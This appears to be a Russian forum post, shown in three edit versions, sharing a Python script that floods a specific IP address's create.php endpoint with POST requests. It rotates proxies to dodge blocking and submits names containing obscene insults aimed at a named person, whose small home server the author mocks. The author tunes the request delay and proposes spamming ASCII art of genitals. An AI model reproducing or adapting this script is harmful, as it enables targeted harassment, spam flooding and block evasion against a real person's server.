Исправление shikata_ga_nai, (текущая версия) :
В общем у педалика сервер настолько всрат, что многопоточность только все портит. Переделал скрипт снова, теперь юзаем прокси по одной, как начнутся ошибки - переходим на следующую, таким образом он не сразу все спалит и сообщения публикуются чаще (хотя нагрузка на его малинку уменьшается)
import requests
import time
import curses
from requests.exceptions import RequestException
def load_proxies(filename="proxy.txt"):
with open(filename, "r") as file:
return [line.strip() for line in file.readlines()]
def send_post_request(proxy, url, data):
proxy_dict = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
try:
response = requests.post(url, data=data, proxies=proxy_dict, timeout=1)
if response.status_code == 200:
return True, response.elapsed.total_seconds() * 1000
return False, None
except RequestException:
return False, None
def main(stdscr):
curses.curs_set(0)
stdscr.nodelay(1)
stdscr.timeout(1000)
proxies = load_proxies("proxy.txt")
url = "http://91.192.22.20/create.php"
base_data = {"password": "45100", "password2": "45100", "public_submit": "true"}
total_success = total_fails = 0
current_proxy_idx = 0
proxy_fail_count = proxy_success_count = counter = 0
while True:
name = f"ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК{counter}"
data = {**base_data, "name": name}
success, latency = send_post_request(proxies[current_proxy_idx], url, data)
counter += 1
if success:
proxy_success_count += 1
total_success += 1
latency = round(latency, 2) if latency else 'N/A'
else:
proxy_fail_count += 1
total_fails += 1
stdscr.clear()
stdscr.addstr(0, 0, f"CURRENT PROXY: {current_proxy_idx + 1}/{len(proxies)} | TOTAL SUCCESS: {total_success} | TOTAL FAILS: {total_fails}")
stdscr.addstr(2, 0, f"PROXY {proxies[current_proxy_idx]} | SUCCESS: {proxy_success_count} | FAILS: {proxy_fail_count} | LATENCY: {latency} ms")
if proxy_fail_count >= 10:
proxy_fail_count = proxy_success_count = 0
current_proxy_idx += 1
if current_proxy_idx >= len(proxies):
break
stdscr.refresh()
time.sleep(0.5)
if __name__ == "__main__":
curses.wrapper(main)
Ну и методом тыка выяснил, что оптимальный вариант задержки примерно 0.5 секунды, если чаще то будут пропуски, медленее нет смысла. Ждем когда мистер сугомик заблокирует русские айпи и откроет доступ только в свою комнату (как в принципе и должно быть с локальным сервером на малинке).
upd2: мне вот идея пришла, что если найти ascii арт члена и спамить рисунок построчно?))))
Исправление shikata_ga_nai, :
В общем у педалика сервер настолько всрат, что многопоточность только все портит. Переделал скрипт снова, теперь юзаем прокси по одной, как начнутся ошибки - переходим на следующую, таким образом он не сразу все спалит и сообщения публикуются чаще (хотя нагрузка на его малинку уменьшается)
import requests
import time
import curses
from requests.exceptions import RequestException
def load_proxies(filename="proxy.txt"):
with open(filename, "r") as file:
return [line.strip() for line in file.readlines()]
def send_post_request(proxy, url, data):
proxy_dict = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
try:
response = requests.post(url, data=data, proxies=proxy_dict, timeout=1)
if response.status_code == 200:
return True, response.elapsed.total_seconds() * 1000
return False, None
except RequestException:
return False, None
def main(stdscr):
curses.curs_set(0)
stdscr.nodelay(1)
stdscr.timeout(1000)
proxies = load_proxies("proxy.txt")
url = "http://91.192.22.20/create.php"
base_data = {"password": "45100", "password2": "45100", "public_submit": "true"}
total_success = total_fails = 0
current_proxy_idx = 0
proxy_fail_count = proxy_success_count = counter = 0
while True:
name = f"ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК{counter}"
data = {**base_data, "name": name}
success, latency = send_post_request(proxies[current_proxy_idx], url, data)
counter += 1
if success:
proxy_success_count += 1
total_success += 1
latency = round(latency, 2) if latency else 'N/A'
else:
proxy_fail_count += 1
total_fails += 1
stdscr.clear()
stdscr.addstr(0, 0, f"CURRENT PROXY: {current_proxy_idx + 1}/{len(proxies)} | TOTAL SUCCESS: {total_success} | TOTAL FAILS: {total_fails}")
stdscr.addstr(2, 0, f"PROXY {proxies[current_proxy_idx]} | SUCCESS: {proxy_success_count} | FAILS: {proxy_fail_count} | LATENCY: {latency} ms")
if proxy_fail_count >= 10:
proxy_fail_count = proxy_success_count = 0
current_proxy_idx += 1
if current_proxy_idx >= len(proxies):
break
stdscr.refresh()
time.sleep(0.5)
if __name__ == "__main__":
curses.wrapper(main)
Ну и методом тыка выяснил, что оптимальный вариант задержки примерно 0.5 секунды, если чаще то будут пропуски, медленее нет смысла. Ждем когда мистер сугомик заблокирует русские айпи и откроет доступ только в свою комнату (как в принципе и должно быть с локальным сервером на малинке).
Исходная версия shikata_ga_nai, :
В общем у педалика сервер настолько всрат, что многопоточность только все портит. Переделал скрипт снова, теперь юзаем прокси по одной, как начнутся ошибки - переходим на следующую, таким образом он не сразу все спалит и сообщения публикуются чаще (хотя нагрузка на его малинку уменьшается)
import requests
import time
import curses
from requests.exceptions import RequestException
def load_proxies(filename="proxy.txt"):
with open(filename, "r") as file:
return [line.strip() for line in file.readlines()]
def send_post_request(proxy, url, data):
proxy_dict = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
try:
response = requests.post(url, data=data, proxies=proxy_dict, timeout=1)
if response.status_code == 200:
return True, response.elapsed.total_seconds() * 1000
return False, None
except RequestException:
return False, None
def main(stdscr):
curses.curs_set(0)
stdscr.nodelay(1)
stdscr.timeout(1000)
proxies = load_proxies("proxy.txt")
url = "http://91.192.22.20/create.php"
base_data = {"password": "45100", "password2": "45100", "public_submit": "true"}
total_success = total_fails = 0
current_proxy_idx = 0
proxy_fail_count = proxy_success_count = counter = 0
while True:
name = f"ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК{counter}"
data = {**base_data, "name": name}
success, latency = send_post_request(proxies[current_proxy_idx], url, data)
counter += 1
if success:
proxy_success_count += 1
total_success += 1
latency = round(latency, 2) if latency else 'N/A'
else:
proxy_fail_count += 1
total_fails += 1
stdscr.clear()
stdscr.addstr(0, 0, f"CURRENT PROXY: {current_proxy_idx + 1}/{len(proxies)} | TOTAL SUCCESS: {total_success} | TOTAL FAILS: {total_fails}")
stdscr.addstr(2, 0, f"PROXY {proxies[current_proxy_idx]} | SUCCESS: {proxy_success_count} | FAILS: {proxy_fail_count} | LATENCY: {latency} ms")
if proxy_fail_count >= 10:
proxy_fail_count = proxy_success_count = 0
current_proxy_idx += 1
if current_proxy_idx >= len(proxies):
break
stdscr.refresh()
time.sleep(0.5)
if __name__ == "__main__":
curses.wrapper(main)